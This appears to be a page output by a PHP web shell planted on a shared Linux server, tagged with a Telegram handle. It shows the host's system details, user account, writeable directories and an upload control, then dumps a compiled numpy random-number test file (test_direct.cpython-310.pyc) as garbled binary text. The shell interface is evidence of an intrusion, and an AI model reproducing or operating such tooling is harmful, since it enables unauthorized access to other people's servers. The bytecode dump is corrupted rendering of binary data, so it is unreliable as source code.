https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/numpy/random/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/numpy/random/tests/__pycache__/test_direct.cpython-310.pyc
o

6��aA@�@s�ddlZddlmZddlZddlZddlmZmZm	Z	m
Z
ddlZddlm
Z
mZmZmZmZmZmZmZmZddlmZzddlZdZWneyQdZYnwzddlZdZWneyedZYnwejjdkrndZej� ej�!e"��Z#d	d
�Z$dd�Z%d
d�Z&dd�Z'dd�Z(dd�Z)dd�Z*dd�Z+dd�Z,dd�Z-dd�Z.Gdd �d �Z/Gd!d"�d"e/�Z0Gd#d$�d$e/�Z1Gd%d&�d&e/�Z2Gd'd(�d(e/�Z3Gd)d*�d*e/�Z4Gd+d,�d,�Z5dS)-�N)�join)�assert_equal�assert_allclose�assert_array_equal�
assert_raises)	�	Generator�MT19937�PCG64�	PCG64DXSM�Philox�RandomState�SeedSequence�SFC64�default_rng)�	interfaceFT�cCsh|D]/}t||t�rt||||�qt||tj�r't||||�q||||ks1J�qdS�N)�
isinstance�dict�assert_state_equal�np�ndarrayr)�actual�target�key�r�@/usr/lib/python3/dist-packages/numpy/random/tests/test_direct.pyr's�rcCsrt�|�}tj|t�d�?tjd�}t�d�}tj||@tjd�}t�||g���}|t�d�?d}|�tj�S)N� ��dtype����	��>)r�uint64�array�uint32�column_stack�ravel�astype�float32)�x�upper�lower�joined�outrrr�uniform32_from_uint641s

r/cCsFt�|�t�d�?}t�|t�d�@�}|t�d�?d}|�tj�S)N�r r!r")rr#r%r(r))r*r.rrr�uniform32_from_uint53;sr1cC�|t�d�?dS)Nr!r")rr%�r*rrr�uniform32_from_uint32B�r4cCs4|dkrt|�S|dkrt|�S|dkrt|�St�)N�@�5r)r/r1r4�NotImplementedError�r*�bitsrrr�uniform32_from_uintFsr;cCs$|dvrt|�S|dkrt|�SdS)N)r6�?r7r)�uniform_from_uint64�uniform_from_uint32r9rrr�uniform_from_uintQs
�r?cCr2)N�g�<)rr#r3rrrr=Xr5r=cCs`t�t|�d�}tdt|�d�D]}||d?}||dd?}|d|d||d<q|S)N�r�r�g�Ag@C)r�empty�len�range)r*r.�i�a�brrrr>\sr>cCs|�tj�dS)N��?)�viewr�doubler3rrr�uniform_from_dsfmtesrMc
Cs�|dvr	t|�}n
|dkrt|�}nt|�}g}d}d}}t|�|krtd}|dks.|dkrTd||d}d||dd}||||}|d7}|dks.|dks.t�d	t�|�|�}	|�|	|�|�|	|�t|�|ks$|d|�S)
N)r6r<rr�rArJg@rg�)r=r>rMrEr�sqrt�log�append)
r*�nr:�doubles�gauss�loc�x1�x2�r2�frrr�gauss_from_uintis*

��rZcCs�ddlm}m}m}ttd�ddd�}|�d�tdi|j��}t|j|j�t|j	|j	�t
t|�t
t|�|�}t
t|j
d�t|�d��dksMJ�dS)Nr)�
ISeedSequence�ISpawnableSeedSequence�SeedlessSeedSequence�
)rrArC)�	spawn_key�	pool_sizer)�numpy.random.bit_generatorr[r\r]r
rF�spawn�stater�n_children_spawnedr�	TypeErrorr8�generate_staterE)r[r\r]�s1�s2�dummyrrr�test_seedsequence�s


rjc@s�eZdZejZiZZedd��Z	edd��Z
dd�Zdd�Zd	d
�Z
dd�Zd
d�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zejjedd �d!d"��Zejjed#d �d$d%��Zd&d'�Zd(S))�BasecCs*t|_d|_tj|_t|_g|_g|_	dS)Nr6)
r	�
bit_generatorr:rr#rre�seed_error_type�invalid_init_types�invalid_init_values��clsrrr�setup_class�s
zBase.setup_classcCs�t|��=}|��}|�d�}dd�|dd�D�}g}|D]}|�t|�d�d��d��q|tj||jd�d�Wd�S1sDwYdS)	N�,cSsg|]	}t|��d��qS)r)�int�strip)�.0�srrr�
<listcomp>�sz"Base._read_csv.<locals>.<listcomp>r���rr)�seed�data)	�open�readline�splitrQrtrurr$r)rq�filename�csvrzr{�linerrr�	_read_csv�s

 $�zBase._read_csvcCs�|j|jd�}|�d�}t||jd�|j|jd�}|��}t||jdd�|j|jd�}|�d�}t||jd�dS)Nrz��r{r)rl�data1�
random_rawr�data2��selfrl�uintsrrr�test_raw�s

z
Base.test_rawcCsF|j|jd�}|jdd�}|dusJ�|jddd�}|dus!J�dS)NrzF)�outputr�)rlr�r�r�rrr�test_random_raw�s
zBase.test_random_rawcCsxd}t|j|jd��}|�|�}t|t|jd||j��t|j|jd��}|�d�}t|t|jd||j��dS)N�rzr{)rrlr��standard_normalrrZr:r�)r�rR�rsrTrrr�test_gauss_inv�s
�
�zBase.test_gauss_invcCs�t|j|jd��}t|jd|j�}|�t|��}t||�t|j	t
j�t|j|jd��}t|jd|j�}|�t|��}t||�t|j	t
j�dS)Nrzr{)
rrlr�r?r:�randomrErrrr�float64r��r�r��vals�uniformsrrr�test_uniform_double�s

zBase.test_uniform_doublecCs�t|j|jd��}t|jd|j�}|jt|�tjd�}t	||�t
|jtj�t|j|jd��}t|jd|j�}|jt|�tjd�}t	||�t
|jtj�dS)Nrzr{r)
rrlr�r;r:r�rErr)rrrr�r�rrr�test_uniform_float�s

zBase.test_uniform_floatcCsLt|j|jd��}dt|�vsJ�t|�d����dd�t|�vs$J�dS�Nrzrz#x�Xr*)rrlr��repr�idr+�replace�r�r�rrr�	test_repr�s(zBase.test_reprcCsdt|j|jd��}dt|�vsJ�t|jj�t|�vsJ�t|�d����dd�t|�vs0J�dSr�)rrlr��str�__name__r�r+r�r�rrr�test_str�s(z
Base.test_strc	Cs�ddl}|j|jd�}|j}|�|�}|�|�}|j}tt|��d�t|��d��||us1J�t	||�t
d�}|�|�|��}t|j|j�dS)Nrrzr��d)�picklerlr�rc�dumps�loadsrrr�rr
r)	r�r�rlrc�
bitgen_pkl�reloaded�reloaded_state�ss�aarrr�test_pickle�s

�
zBase.test_picklecCsH|j|jd�}t�t��
dh|_Wd�dS1swYdS)Nrz�1)rlr��pytest�raisesrerc�r�rlrrr�test_invalid_state_types
"�zBase.test_invalid_state_typecCsT|j|jd�}|j}d|d<t�t��||_Wd�dS1s#wYdS)Nrz�otherBitGeneratorrl)rlr�rcr�r��
ValueError)r�rlrcrrr�test_invalid_state_values"�zBase.test_invalid_state_valuec	CsH|j}|jD]}t�t��||�Wd�n1swYqdSr)rlrnr�r�re�r�rl�strrr�test_invalid_init_types

���zBase.test_invalid_init_typec	CsL|j}|jD]}t�ttf��||�Wd�n1swYqdSr)rlror�r�r��
OverflowErrorr�rrr�test_invalid_init_valuess

���zBase.test_invalid_init_valuescCsb|j|jd�}|�d�|�dd�t�t��|�dd�Wd�dS1s*wYdS)NrzrrL�int32)rlr��
_benchmarkr�r�r�r�rrr�test_benchmarks
"�zBase.test_benchmarkzcffi not available)�reasoncC�:|j|jd�}|j}t|t�sJ�|j}||usJ�dS�Nrz)rlr��cffirr)r�rl�cffi_interface�other_cffi_interfacerrr�	test_cffi!�
zBase.test_cffizctypes not availablecCr�r�)rlr��ctypesrr)r�rl�ctypes_interface�other_ctypes_interfacerrr�test_ctypes)r�zBase.test_ctypescCs,|j|jd�}|j}|��}t||�dSr�)rlr�rc�__getstate__r)r�rlrc�	alt_staterrr�
test_getstate1szBase.test_getstateN) r��
__module__�__qualname__rr#rr�r��classmethodrrr�r�r�r�r�r�r�r�r�r�r�r�r�r�r��mark�skipif�MISSING_CFFIr��MISSING_CTYPESr�r�rrrrrk�s2







rkc@s eZdZedd��Zdd�ZdS)�
TestPhiloxcCsbt|_d|_tj|_|�ttd��|_	|�ttd��|_
t|_g|_
dddddddfg|_dS)	Nr6z./data/philox-testset-1.csvz./data/philox-testset-2.csv)rNr�ryrAir)rrlr:rr#rr�r�pwdr�r�rermrnrorprrrrr9s��zTestPhilox.setup_classcCsF|j|jd�}|j}|j|dd|ddd�}t|j|j�dS)Nrzrc�counterr)r�r)rlr�rcr)r�rlrc�keyedrrr�test_set_keyFs
�zTestPhilox.test_set_keyN)r�r�r�r�rrr�rrrrr�8s
r�c@�(eZdZedd��Zdd�Zdd�ZdS)�	TestPCG64cC�^t|_d|_tj|_|�ttd��|_	|�ttd��|_
ttf|_
ddgfdg|_dg|_dS)Nr6z./data/pcg64-testset-1.csvz./data/pcg64-testset-2.csv�g������	@�rNr�)r	rlr:rr#rr�rr�r�r�r�rermrnrorprrrrrO�
zTestPCG64.setup_classcC�t|j|jd��}|jj}d}|j�|�|�d�}||j_|j�dd|�|�d�}||j_|j�ddd|�|�d�}||ksIJ�||ksOJ�dS�Nrzl����PAOi_n��r^rA��rrlr�rc�advance�integers�r�r�rc�step�val_neg�val_pos�val_bigrrr�test_advance_symmetryZ�


zTestPCG64.test_advance_symmetrycCslt|�d��}|j}|jd}d}|d|ksJ�|�tdd�dD���|jd}d}|d|ks4J�dS)N��%�@
rc�	�r%4=
K�v�u�1�/�cs��|]}d|VqdS�rANr�rvrGrrr�	<genexpr>o��z/TestPCG64.test_advange_large.<locals>.<genexpr>��`r6rr0��rArl	�@H}.|z�KLf�be�rrlrcr��sum�r�r��pcgrc�
initial_state�advanced_staterrr�test_advange_largeis

zTestPCG64.test_advange_largeN�r�r�r�r�rrr�r�rrrrr�N�


r�c@r�)�
TestPCG64DXSMcCr�)Nr6z./data/pcg64dxsm-testset-1.csvz./data/pcg64dxsm-testset-2.csvr�r�r�)r
rlr:rr#rr�rr�r�r�r�rermrnrorprrrrrvr�zTestPCG64DXSM.setup_classcCr�r�r�r�rrrr��r�z#TestPCG64DXSM.test_advance_symmetrycCslt|�d��}|j}|j}d}|dd|ksJ�|�tdd�dD���|jd}d}|d|ks4J�dS)Nr�r�rccsr�r�rr�rrrr��r�z3TestPCG64DXSM.test_advange_large.<locals>.<genexpr>r�l	oF�	�[UmO1X�9}�r�r�rrrr��s
z TestPCG64DXSM.test_advange_largeNr�rrrrr�ur�r�c@r�)�TestMT19937cCsPt|_d|_tj|_|�ttd��|_	|�ttd��|_
t|_g|_
dg|_dS)Nrz./data/mt19937-testset-1.csvz./data/mt19937-testset-2.csvr�)rrlr:rr%rr�rr�r�r�r�rmrnrorprrrrr�szTestMT19937.setup_classcCs�tt|jt�tjg��tt|jt�tjg��tt|jt�tjtjg��tt|jt�dtjg��tt|jtjg�tt|jdtjg�dS)Nr)rrerlrr$�pi)r�rrr�test_seed_float_array�sz!TestMT19937.test_seed_float_arraycCs�t|j|jd��}|j}|j}|�d�}|d|dd|ddf}||_|�d�}t||�|d}||_|�d�}t||�dS)Nrzirlrcr�pos)rrN)rrlr�rcr�r)r�r�rlrc�desired�tuprrrr�test_state_tuple�s

�


zTestMT19937.test_state_tupleN)r�r�r�r�rrrrrrrrr�s


rc@seZdZedd��ZdS)�	TestSFC64cCr�)Nr6z./data/sfc64-testset-1.csvz./data/sfc64-testset-2.csvr�r�r�)rrlr:rr#rr�rr�r�r�r�rermrnrorprrrrr�s��
zTestSFC64.setup_classN)r�r�r�r�rrrrrrr�src@seZdZdd�Zdd�ZdS)�TestDefaultRNGcCs4dddddgffD]}t|�}t|jt�sJ�q	dS)Nrr)��r	i.)rrrlr	)r��args�rgrrr�	test_seed�s�zTestDefaultRNG.test_seedcCsBt�}t|�}|j|usJ�t|�}||usJ�|j|usJ�dSr)rrrl)r��bgr�rg2rrr�test_passthrough�szTestDefaultRNG.test_passthroughN)r�r�r�rrrrrrr�sr)6�os�os.pathr�sys�numpyr�
numpy.testingrrrrr��numpy.randomrrr	r
rrr
rr�numpy.random._commonrr�r��ImportErrorr�r��flags�optimize�path�dirname�abspath�__file__r�rr/r1r4r;r?r=r>rMrZrjrkr�r�r�rrrrrrr�<module>sT,��

	%''$

https://t.me/RX1948 - 2025